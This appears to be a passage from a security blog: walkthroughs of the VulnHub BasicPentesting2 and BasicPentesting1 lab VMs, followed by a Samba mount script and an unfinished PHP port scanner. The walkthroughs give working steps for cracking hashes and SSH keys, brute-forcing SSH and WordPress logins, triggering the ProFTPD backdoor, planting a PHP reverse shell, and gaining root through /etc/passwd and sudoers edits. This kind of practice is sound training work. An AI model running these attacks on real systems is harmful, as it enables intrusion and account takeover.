 drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
 -rw------- 1 root jan    47 Apr 23  2018 .lesshst
 -rw------- 1 root jan   602 Nov 29 16:55 .viminfo

Theres nothing interesting, now checking kay's directory

 $ ls -al
 
 total 48
 drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
 drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
 -rw------- 1 kay  kay   937 Jan 13 23:52 .bash_history
 -rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
 -rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
 drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
 -rw------- 1 root kay   119 Apr 23  2018 .lesshst
 drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
 -rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
 drwxr-xr-x 2 kay  kay  4096 Nov 29 17:05 .ssh
 -rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
 -rw------- 1 root kay   538 Apr 23  2018 .viminfo
 -rw------- 1 kay  kay    57 Apr 23  2018 pass.bak

Theres .ssh folder and inside that we found the private ssh rsa keys "id_rsa" for user kay. Now with that we can logged in as kay.

 $ ls
 
 authorized_keys  id_rsa  id_rsa.pub

But first we need to crack the passphrase for the user kay. For this we are going to use johntheripper. Download the id_rsa file on attacker machine and convert it on crackable format for JTR with ssh2john.py You can download it from here : Download Link

 $ python ssh2john.py id_rsa  > rsa_key.dat
 
 $ john rsa_key.dat
 
 Using default input encoding: UTF-8
 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
 Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
 Cost 2 (iteration count) is 1 for all loaded hashes
 Will run 4 OpenMP threads
 Note: This format may emit false positives, so it will keep trying even after
 finding a possible candidate.
 Proceeding with single, rules:Single
 Press 'q' or Ctrl-C to abort, almost any other key for status
 Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
 Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
 Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
 Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
 Almost done: Processing the remaining buffered candidate passwords, if any.
 Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
 Proceeding with incremental:ASCII
 0g 0:00:00:44  3/3 0g/s 3137Kp/s 3137Kc/s 3137KC/s nl1nt..nl1sj
 0g 0:00:00:46  3/3 0g/s 3178Kp/s 3178Kc/s 3178KC/s mdgblk..mdgbjn
 0g 0:00:01:03  3/3 0g/s 3409Kp/s 3409Kc/s 3409KC/s rymagns..rymagls
 0g 0:00:01:04  3/3 0g/s 3420Kp/s 3420Kc/s 3420KC/s 3gsimg..3gsigs
 0g 0:00:01:08  3/3 0g/s 3461Kp/s 3461Kc/s 3461KC/s ff68br3..ff68bck
 beeswax          (id_rsa_key)

The passphrase is beeswax, now login as kay with the id_rsa_key and password "beeswax"

 $ ssh -i id_rsa kay@localhost    
 
 Could not create directory '/home/tomcat9/.ssh'.
 The authenticity of host 'localhost (::1)' can't be established.
 ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn4OPL7GN/DuVHVvO0lT9N4W5ifchySQ.
 Are you sure you want to continue connecting (yes/no)? yes
 yes
 Failed to add the host to the list of known hosts (/home/tomcat9/.ssh/known_hosts).
 Enter passphrase for key 'id_rsa': beeswax
 
 Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
 
  * Documentation:  https://help.ubuntu.com
  * Management:     https://landscape.canonical.com
  * Support:        https://ubuntu.com/advantage
 
 0 packages can be updated.
 0 updates are security updates.
 
 
 Last login: Mon Jan 13 23:44:21 2020 from ::1
 kay@basic2:~$

There is a file pass.bak

 $ ls
 pass.bak
 $ cat pass.bak
 heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Which possibly is password for root users, now lets try it.

 $ sudo -i
 [sudo] password for kay: heresareallystrongpasswordthatfollowsthepasswordpolicy$$
 
 root@basic2:~#

Yep!!, we got the root shell.

 $ ls
 
 flag.txt
 root@basic2:~# cat flag.txt
 
 Congratulations! You've completed this challenge. There are two ways (that I'm aware of) to gain 
 a shell, and two ways to privesc. I encourage you to find them all!
 
 If you're in the target audience (newcomers to pentesting), I hope you learned something. A few
 takeaways from this challenge should be that every little bit of information you can find can be
 valuable, but sometimes you'll need to find several different pieces of information and combine
 them to make them useful. Enumeration is key! Also, sometimes it's not as easy as just finding
 an obviously outdated, vulnerable service right away with a port scan (unlike the first entry
 in this series). Usually you'll have to dig deeper to find things that aren't as obvious, and
 therefore might've been overlooked by administrators.
 
 Thanks for taking the time to solve this VM. If you choose to create a writeup, I hope you'll send 
 me a link! I can be reached at josiah@vt.edu. If you've got questions or feedback, please reach
 out to me.
 
 Happy hacking!
 root@basic2:~#

And Thats it!!! there is a flag.txt file, we won !!.

Some other Methods to crack the user accounts :

However theres also some other method to get the root shell on the machine.

Finding SUID root Binaries :

Lets try to find the binary executables with SUID root.

 $ find / -perm -4000 -user root -exec ls -ld {} \; 2>/dev/null
 
 -rwsr-xr-x 1 root root 38984 Jun 14  2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
 -rwsr-xr-x 1 root root 14864 Jan 17  2016 /usr/lib/policykit-1/polkit-agent-helper-1
 -rwsr-xr-x 1 root root 10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
 -rwsr-sr-x 1 root root 85832 Nov 30  2017 /usr/lib/snapd/snap-confine
 -rwsr-xr-x 1 root root 428240 Jan 18  2018 /usr/lib/openssh/ssh-keysign
 -rwsr-xr-- 1 root messagebus 42992 Jan 12  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
 -rwsr-xr-x 1 root root 2437320 Nov 24  2016 /usr/bin/vim.basic
 -rwsr-xr-x 1 root root 23376 Jan 17  2016 /usr/bin/pkexec
 -rwsr-xr-x 1 root root 39904 May 16  2017 /usr/bin/newgrp
 -rwsr-xr-x 1 root root 49584 May 16  2017 /usr/bin/chfn
 -rwsr-xr-x 1 root root 136808 Jul  4  2017 /usr/bin/sudo
 -rwsr-xr-x 1 root root 40432 May 16  2017 /usr/bin/chsh
 -rwsr-xr-x 1 root root 32944 May 16  2017 /usr/bin/newgidmap
 -rwsr-xr-x 1 root root 75304 May 16  2017 /usr/bin/gpasswd
 -rwsr-xr-x 1 root root 32944 May 16  2017 /usr/bin/newuidmap
 -rwsr-xr-x 1 root root 54256 May 16  2017 /usr/bin/passwd
 -rwsr-xr-x 1 root root 40128 May 16  2017 /bin/su
 -rwsr-xr-x 1 root root 142032 Jan 28  2017 /bin/ntfs-3g
 -rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
 -rwsr-xr-x 1 root root 27608 Nov 30  2017 /bin/umount
 -rwsr-xr-x 1 root root 30800 Jul 12  2016 /bin/fusermount
 -rwsr-xr-x 1 root root 40152 Nov 30  2017 /bin/mount
 -rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping

As we can see vim is also has SUID root, means we can open/edit root privileged files with vim. So we are now going to crack user passwords from /etc/shadow file.

With vim we can open /etc/shadow file can then try to crack the password for users with john.

 $ vim /etc/shadow

editing with vim on a reverse shell is cumbersome, so try to press Return until you get the usernames, and it will be look like this

There are some parts of it missing, so we write the buffer in new file at /home/code.hash file with command mode on vim by command :w /home/code.hash. Now we are interested in cracking only two accounts

 kay:$6$ON8Wi9Ow$Puwzhgbc2chaNEqWFO/UVH2yJ5zVb3WirwtCxQ5ssr2OEMAuYCrHscUNe.KPUhH6ND4CYx9WWu449W3mrzVtk/:17644:0:99999:7:::
 jan:$6$Bbz6m7oU$WjYF4ZiF/QuPuiNAzl7bthT8LvIWikymEtX6tZ0WplHQUmMezufOCrKQRdxqbP8j03.x.pXv04xDgexxwbIIG0:17640:0:99999:7:::

Cracking with john

 $ john shadow.dat
 Using default input encoding: UTF-8
 Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
 Cost 1 (iteration count) is 5000 for all loaded hashes
 Will run 4 OpenMP threads
 Proceeding with single, rules:Single
 Press 'q' or Ctrl-C to abort, almost any other key for status
 Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
 Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
 Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
 Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
 Almost done: Processing the remaining buffered candidate passwords, if any.
 Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
 armando          (jan)

We get the jan's password with is armando. Now lets try it.

 $ su - jan
 
 Password: armando
 
 jan@basic2:~$

Editing /etc/sudoers file : By editing into /etc/sudoers file we can give the user jan root permission. We just need to add

 jan ALL=(ALL:ALL) ALL

on the file. Now open file with vim and add the above line, it gives the jan to login as root

 $ vim /etc/sudoers

now to move cursor below press return and to edit press i then after edit press 'Esc + :'(for command mode) and type :wq! and hit return. Now after edit, the file will look like this :

As we can see jan is also listed on sudoer list

 $ sudo -l
 
 [sudo] password for jan: armando
 
 Matching Defaults entries for jan on basic2:
     env_reset, mail_badpass,
     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
 User jan may run the following commands on basic2:
     (ALL : ALL) ALL

Now getting a root shell

 $ sudo su -
 
 root@basic2:~# ls
 ls
 flag.txt
 
 root@basic2:~#

Enumeration with enum4linux :

Enum4linux is a tool for enumerating information from windows and Samba systems. It is written in Perl and is basically a wrapper around the Samba tools smbclient, rpclient, net and nmblookup.

 $ enum4linux 192.168.56.103

It generated a very long result, some of the important details are :

 [+] Enumerating users using SID S-1-22-1 and logon username '', password ''
 S-1-22-1-1000 Unix User\kay (Local User)
 S-1-22-1-1001 Unix User\jan (Local User)

Bruteforcing ssh

We can get the usernames, now we can bruteforce the ssh passwords with above usernames with hydra.

 $ hydra -l jan -P rockyou.txt 192.168.56.103 -t 10 ssh -o success
 
 Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
 
 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-14 07:21:29
 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
 [DATA] max 10 tasks per 1 server, overall 10 tasks, 14344399 login tries (l:1/p:14344399), ~1434440 tries per task
 [DATA] attacking ssh://192.168.56.103:22/
 [STATUS] 110.00 tries/min, 110 tries in 00:01h, 14344289 to do in 2173:23h, 10 active
 [STATUS] 86.67 tries/min, 260 tries in 00:03h, 14344139 to do in 2758:30h, 10 active
 [STATUS] 72.86 tries/min, 510 tries in 00:07h, 14343889 to do in 3281:17h, 10 active
 [22][ssh] host: 192.168.56.103   login: jan   password: armando
 1 of 1 target successfully completed, 1 valid password found
 Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-14 07:32:10

password is : "armando"

 $ ssh jan@192.168.56.103
 jan@192.168.56.103's password: 
 Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)
 
  * Documentation:  https://help.ubuntu.com
  * Management:     https://landscape.canonical.com
  * Support:        https://ubuntu.com/advantage
 
 0 packages can be updated.
 0 updates are security updates.
 
 
 
 The programs included with the Ubuntu system are free software;
 the exact distribution terms for each program are described in the
 individual files in /usr/share/doc/*/copyright.
 
 Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
 applicable law.
 
 
 The programs included with the Ubuntu system are free software;
 the exact distribution terms for each program are described in the
 individual files in /usr/share/doc/*/copyright.
 
 Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
 applicable law.
 
 Last login: Fri Nov 29 16:53:56 2019 from 192.168.56.1
 jan@basic2:~$

For more writeups visit : http://www.sec-art.net/p/ctf.html

BasicPentesting1 VM WalkThrough from VulnHub

noreply@blogger.com (Unknown) — Tue, 14 Jan 2020 13:38:00 +0000

VM : BasicPentesting1

Download Link : https://www.vulnhub.com/entry/basic-pentesting-1,216/

Start the VM and get the IP of VM :

 $ nmap -sP 192.168.1.0/24 
 
 Nmap scan report for 192.168.1.1
 Host is up (0.00060s latency).
 Nmap scan report for 192.168.1.2
 Host is up (0.000024s latency).
 Nmap scan report for 192.168.1.3
 Host is up (0.0014s latency).
 Nmap scan report for 192.168.1.9
 Host is up (0.11s latency).
 Nmap scan report for 192.168.1.10
 Host is up (0.0015s latency).
 Nmap scan report for 192.168.1.15
 Host is up (0.0012s latency).
 Nmap scan report for 192.168.1.100
 Host is up (0.00080s latency).

At above list 192.168.1.15 is our VM ip address. At above list 192.168.1.15 is our VM ip address.

At above list 192.168.1.15 is our VM ip address.

Scanning network :

 $ nmap -sV 192.168.1.15
 
 Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-28 18:53 UTC
 Nmap scan report for 192.168.1.15
 Host is up (0.0034s latency).
 Not shown: 997 closed ports
 PORT   STATE SERVICE VERSION
 21/tcp open  ftp     ProFTPD 1.3.3c
 22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
 80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
 Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
 
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 7.54 seconds

Nothing unusual, but a quick search for ProFTPD 1.3.3c revealed that it is backdoored version of FTP server. To exploit this backdoor we just need to connect to port 21 with netcat and sends the trigger "HELP ACIDBITCHEZ".

 $ nc 192.168.1.15 21
 220 ProFTPD 1.3.3c Server (vtcsec) [192.168.1.15]
 HELP ACIDBITCHEZ
 uname -a
 Linux vtcsec 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

To get a proper interactive shell we can use a python trick:

python -c 'import pty;pty.spawn("/bin/bash")';

 $ nc 192.168.1.15 21
 python -c 'import pty;pty.spawn("/bin/bash")';
 root@vtcsec:/#

We got the root access to the machine. Now lets find another ways to get root.

Reconn for Web Applications :
Using dirb :

 $ dirb http://192.168.1.15
 
 -----------------
 DIRB v2.22    
 By The Dark Raver
 -----------------
 
 START_TIME: Sat Sep 28 19:16:46 2019
 URL_BASE: http://192.168.1.15/
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
 
 -----------------
 
 GENERATED WORDS: 4612                                                          
 
 ---- Scanning URL: http://192.168.1.15/ ----
 + http://192.168.1.15/index.html (CODE:200|SIZE:177)                                                                                                                           
 ==> DIRECTORY: http://192.168.1.15/secret/                                                                                                                                     
 + http://192.168.1.15/server-status (CODE:403|SIZE:277)                                                                                                                        
 
 ---- Entering directory: http://192.168.1.15/secret/ ----
 + http://192.168.1.15/secret/index.php (CODE:301|SIZE:0)                                                                                                                       
 ==> DIRECTORY: http://192.168.1.15/secret/wp-admin/                                                                                                                            
 ==> DIRECTORY: http://192.168.1.15/secret/wp-content/                                                                                                                          
 ==> DIRECTORY: http://192.168.1.15/secret/wp-includes/                                                                                                                         
 + http://192.168.1.15/secret/xmlrpc.php (CODE:405|SIZE:42)                                                                                                                     
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/ ----
 + http://192.168.1.15/secret/wp-admin/admin.php (CODE:302|SIZE:0)                                                                                                              
 ==> DIRECTORY: http://192.168.1.15/secret/wp-admin/css/                                                                                                                        
 ==> DIRECTORY: http://192.168.1.15/secret/wp-admin/images/                                                                                                                     
 ==> DIRECTORY: http://192.168.1.15/secret/wp-admin/includes/                                                                                                                   
 + http://192.168.1.15/secret/wp-admin/index.php (CODE:302|SIZE:0)                                                                                                              
 ==> DIRECTORY: http://192.168.1.15/secret/wp-admin/js/                                                                                                                         
 ==> DIRECTORY: http://192.168.1.15/secret/wp-admin/maint/                                                                                                                      
 ==> DIRECTORY: http://192.168.1.15/secret/wp-admin/network/                                                                                                                    
 ==> DIRECTORY: http://192.168.1.15/secret/wp-admin/user/                                                                                                                       
 
 ---- Entering directory: http://192.168.1.15/secret/wp-content/ ----
 + http://192.168.1.15/secret/wp-content/index.php (CODE:200|SIZE:0)                                                                                                            
 ==> DIRECTORY: http://192.168.1.15/secret/wp-content/plugins/                                                                                                                  
 ==> DIRECTORY: http://192.168.1.15/secret/wp-content/themes/                                                                                                                   
 ==> DIRECTORY: http://192.168.1.15/secret/wp-content/upgrade/                                                                                                                  
 ==> DIRECTORY: http://192.168.1.15/secret/wp-content/uploads/                                                                                                                  
 
 ---- Entering directory: http://192.168.1.15/secret/wp-includes/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode '-w' if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/css/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode '-w' if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/images/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode '-w' if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/includes/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode '-w' if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/js/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode '-w' if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/maint/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode '-w' if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/network/ ----
 + http://192.168.1.15/secret/wp-admin/network/admin.php (CODE:302|SIZE:0)                                                                                                      
 + http://192.168.1.15/secret/wp-admin/network/index.php (CODE:302|SIZE:0)                                                                                                      
 
 ---- Entering directory: http://192.168.1.15/secret/wp-admin/user/ ----
 + http://192.168.1.15/secret/wp-admin/user/admin.php (CODE:302|SIZE:0)                                                                                                         
 + http://192.168.1.15/secret/wp-admin/user/index.php (CODE:302|SIZE:0)                                                                                                         
 
 ---- Entering directory: http://192.168.1.15/secret/wp-content/plugins/ ----
 + http://192.168.1.15/secret/wp-content/plugins/index.php (CODE:200|SIZE:0)                                                                                                    
 
 ---- Entering directory: http://192.168.1.15/secret/wp-content/themes/ ----
 + http://192.168.1.15/secret/wp-content/themes/index.php (CODE:200|SIZE:0)                                                                                                     
 
 ---- Entering directory: http://192.168.1.15/secret/wp-content/upgrade/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode '-w' if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.15/secret/wp-content/uploads/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.                        
     (Use mode '-w' if you want to scan it anyway)
 
 -----------------
 END_TIME: Sat Sep 28 19:17:13 2019

At above scan we find that there is a hidden wordpress blog at http://192.168.1.15/secret/, lets check it out.

This blog will redirect to http://vtcsec/secret/, so we add vtcsec into our /etc/hosts file.

sudo echo "vtcsec 192.168.1.15" >> /etc/hosts

Now the wordpress blog will properly open.

Scan wordpress blog with wpscan :

 $ wpscan --url http://192.168.1.15/secret/ --enumerate u
 
         __          _______   _____                                                                                                                                                                                
         \ \        / /  __ \ / ____|                                                                                                                                                                               
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ _                                                                                                                                                              
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \                                                                                                                                                               
            \  /\  /  | |     ____) | (__| (_| | | | |                                                                                                                                                              
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|                                                                                                                                                              
 
         WordPress Security Scanner by the WPScan Team                                                                                                                                                              
                        Version 3.7.1                                                                                                                                                                               
       WPScan.io - Online WordPress Vulnerability Scanner                                                                                                                                                           
       @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_                                                                                                                                                            
 _______________________________________________________________                                                                                                                                                                                                                                                                                        
 [+] URL: http://192.168.1.15/secret/                                                                                                                                                                               
 [+] Started: Sun Sep 29 05:46:41 2019                                                                                                                                                                                                     
 Interesting Finding(s):                                                                                                                                                                                            
 [+] http://192.168.1.15/secret/                                                                                                                                                                                    
  | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)                                                                                                                                                               
  | Found By: Headers (Passive Detection)                                                                                                                                                                           
  | Confidence: 100%                                                                                                                                                                                                
 [+] http://192.168.1.15/secret/xmlrpc.php                                                                                                                                                                          
  | Found By: Direct Access (Aggressive Detection)       
  | Confidence: 100%
  | References:
  |  - http://codex.wordpress.org/XML-RPC_Pingback_API
  |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
  |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
  |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
  |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
 
 [+] http://192.168.1.15/secret/readme.html
  | Found By: Direct Access (Aggressive Detection)
  | Confidence: 100%
 
 [+] Upload directory has listing enabled: http://192.168.1.15/secret/wp-content/uploads/
  | Found By: Direct Access (Aggressive Detection)
  | Confidence: 100%
 
 [+] http://192.168.1.15/secret/wp-cron.php
  | Found By: Direct Access (Aggressive Detection)
  | Confidence: 60%
  | References:
  |  - https://www.iplocation.net/defend-wordpress-from-ddos
  |  - https://github.com/wpscanteam/wpscan/issues/1299
 
 [+] WordPress version 4.9.11 identified (Latest, released on 2019-09-05).
  | Detected By: Emoji Settings (Passive Detection)
  |  - http://192.168.1.15/secret/, Match: '-release.min.js?ver=4.9.11'
  | Confirmed By: Meta Generator (Passive Detection)
  |  - http://192.168.1.15/secret/, Match: 'WordPress 4.9.11'
 
 [i] The main theme could not be detected.
 
 [+] Enumerating Users (via Passive and Aggressive Methods)
  Brute Forcing Author IDs - Time: 00:00:00 <=========================================> (10 / 10) 100.00% Time: 00:00:00
 
 [i] User(s) Identified:
 
 [+] admin
  | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  | Confirmed By: Login Error Messages (Aggressive Detection)
 
 [!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
 [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/register.
 
 [+] Finished: Sun Sep 29 05:46:42 2019
 [+] Requests Done: 21
 [+] Cached Requests: 29
 [+] Data Sent: 5.049 KB
 [+] Data Received: 10.292 KB
 [+] Memory used: 90.594 MB
 [+] Elapsed time: 00:00:00

As we can see that the userid admin detected by above scan. Now lets bruteforce the wordpress login. We are going to use a simple wordlist file for passwords.

 wpscan -U admin -P common.txt --url http://192.168.1.12/secret/

And the output shows the password, which is also admin.

 .....
 [i] Valid Combinations Found:
  | Username: admin, Password: admin
 .....

Now login to wordpress with above credentials.

Getting a shell using php reverse shell code :

Link for php reverse shell : Github Link

Change the port number and IP address on script, then put it to the index.php file on wordpress.

Now start netcat listener

 $ nc -lvvp 1234

and open the wordpress page.

 $ nc -lvvp 1234
 Listening on [0.0.0.0] (family 0, port 1234)
 Connection from vtcsec 52724 received!
 Linux vtcsec 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
  04:46:01 up 2 min,  0 users,  load average: 0.58, 0.60, 0.26
 USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 /bin/sh: 0: can't access tty; job control turned off
 $ whoami
 www-data
 $

We got the shell but its not the root shell, we need to escalate the privilege to root.

Getting root privilege :

1st Method: By overwriting the /etc/passwd file :

As we can see that /etc/passwd is permitted to read-write for all users.

 $ ls -al /etc/passwd
 -rw-rw-rw- 1 root root 2364 Nov 16  2017 /etc/passwd

So by appending a new user who has root privilege assigned, into the /etc/passwd file with password we are able to get root shell.

Preparing new user to append on file :

The root user entry is look like this :

root:x:0:0:root:/root:/bin/bash

where the different columns are as follows :

Username : Encrypted_Password : UserID : GroupID : UserID_Info : Home_Directory : Command_Shell

At the place of password there is x which means the password is stored on the /etc/shadow file. Now lets create encrypted password for new user :

$ openssl passwd -1 -salt hack password123

$1$hack$MLgkAESrYp7kzYz0Ex2fV/

Where :

-1 : md5 based password algorithm (other options are -5 for SHA256 and -6 for SHA512 )
-salt : salt key, which is "hack"
password is password123

Now we have to append below line into /etc/passwd file :

newroot:$1$hack$MLgkAESrYp7kzYz0Ex2fV/:0:0:root:/root:/bin/bash

 echo "newroot:\$1\$hack\$MLgkAESrYp7kzYz0Ex2fV/:0:0:root:/root:/bin/bash" >> /etc/passwd

Note : Put \ sign before all the $ sign on the password field, else echo command will try ro interpret it as a variable. Now try to login with our newly created user.

 $ su - newroot
 
 su: must be run from a terminal

But it through an error, means we need a tty terminal, which can be obtained by python pty library trick.

python -c 'import pty;pty.spawn("/bin/bash");'

 $ python -c 'import pty;pty.spawn("/bin/bash");'
 www-data@vtcsec:/$
 www-data@vtcsec:/$ su - newroot
 su - newroot
 Password: password123
 
 root@vtcsec:~# whoami
 whoami
 root
 root@vtcsec:~#

Yep!!!, we got the root shell.!!

2nd Method: By cracking password of existing users :

This method only works if the /etc/shadow file is world readable, which is not allowed by default. But in this case we can read /etc/shadow file

 $ cat /etc/shadow
 
 root:!:17484:0:99999:7:::
 daemon:*:17379:0:99999:7:::
 bin:*:17379:0:99999:7:::
 ....
 ....
 ....
 saned:*:17379:0:99999:7:::
 usbmux:*:17379:0:99999:7:::
 marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7:::
 mysql:!:17486:0:99999:7:::
 sshd:*:17486:0:99999:7:::

The shadow file stores actual password in encrypted format for user's account with additional properties related to user password i.e. it stores secure user account information.

As we can see the user marlinspike have encrypted password :

marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7:::

Now save the above line onto the file pass.txt and then we try to crack the hashed password john (jtr).

 root@ae3e2e69805d:~/# john pass.txt 
 
 Using default input encoding: UTF-8
 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
 Cost 1 (iteration count) is 5000 for all loaded hashes
 Will run 4 OpenMP threads
 Proceeding with single, rules:Single
 Press 'q' or Ctrl-C to abort, almost any other key for status
 marlinspike      (marlinspike)
 1g 0:00:00:00 DONE 1/3 (2019-09-29 09:24) 4.347g/s 34.78p/s 34.78c/s 34.78C/s marlinspike..marlin
 Use the "--show" option to display all of the cracked passwords reliably
 Session completed
 
 root@ae3e2e69805d:~/# john --show pass.txt 
 
 marlinspike:marlinspike:17484:0:99999:7:::
 
 1 password hash cracked, 0 left

and the password for marlinspike is marlinspike, now lets try to login into marlinspike account.

 $ su - marlinspike
 su: must be run from a terminal

Means we need tty shell then try to change root.

 $ python -c 'import pty;pty.spawn("/bin/bash")'
 www-data@vtcsec:/$ su - marlinspike    
 su - marlinspike
 Password: marlinspike
 
 marlinspike@vtcsec:~$ whoami
 whoami
 marlinspike
 
 marlinspike@vtcsec:~$ sudo su
 sudo su
 [sudo] password for marlinspike: marlinspike
 
 root@vtcsec:/home/marlinspike# whoami
 whoami
 root
 
 root@vtcsec:/home/marlinspike#

WE got root shell again.

Mounting Samba File Sharing on Linux / Ubuntu system within single command

noreply@blogger.com (Unknown) — Sat, 08 Jun 2019 17:33:00 +0000

The command used to mount Samba file sharing is 'gio'(gnome input/output) utility.

 gio mount smb://<server_address>/<share>

Where we need to provide three things :

Username
WORKGROUP
Password

Example :

 $ gio mount smb://192.168.56.101/Anonymous
 Password required for share anonymous on 192.168.1.100
 User [ajay]: Anonymous
 Domain [WORKGROUP]: WORKGROUP
 Password: <-------Password_here

Automating the whole Process with a Shell script :
File : smbmount.sh

#!/bin/bash
# Mount smb file server with below credentials 
# Name : Anonymous
# WORKGROUP : WORKGROUP
# Password : Anonymous

echo -e "Anonymous\nWORKGROUP\nAnonymous" | gio mount \
smb://192.168.1.100/Anonymous >> /dev/null 2>&1

Creating an alias for smbmount.sh in .bashrc file :

Open your '.bashrc' file on any editor and at the last line add this :

 alias smbmount="~/scripts/smbmount.sh"

I put script at "~/scripts/smbmount.sh", you can change it accoring to your location. Now open a new terminal and type 'smbmount' to mount smsb share on your destro.

 $ smbmount

Cheers !!

A Simple php script for Port Scanning

noreply@blogger.com (Unknown) — Tue, 29 Jan 2019 17:36:00 +0000

The below given php script scans open ports on target server. There are mainly two functions are used for scanning :

fsockopen() : The fsockopen() function is used to open socket connection with given hostname and port. Syntax :

 fsockopen(hostname, port, errNo, errStr, timeout);

getservbyport() : The getservbyport() function is used to get the service name which corresponds to supplied port and protocol. Syntax :

 getservbyport(portNumber, ProtocolName);

Code : scan.php

<?php

if(isset($_POST['ip'])) {
  $ports = array(21, 22, 23, 25, 53, 80, 110, 135, 137, 139, 1433, 1434);
  $result = array();

  foreach($ports as $port) {
    if($scn = fsockopen($_POST['ip'], $port, $err, $err_string, 1)) {
      $result[$port] = true;
      fclose($scn);
    } else {
      $result[$port] = false;
    }
  }

  echo "<strong>Scanning Result for :</strong> <i>", $_POST['ip'], "</i><br/><br/>";
  foreach($result as $port=>$val) {
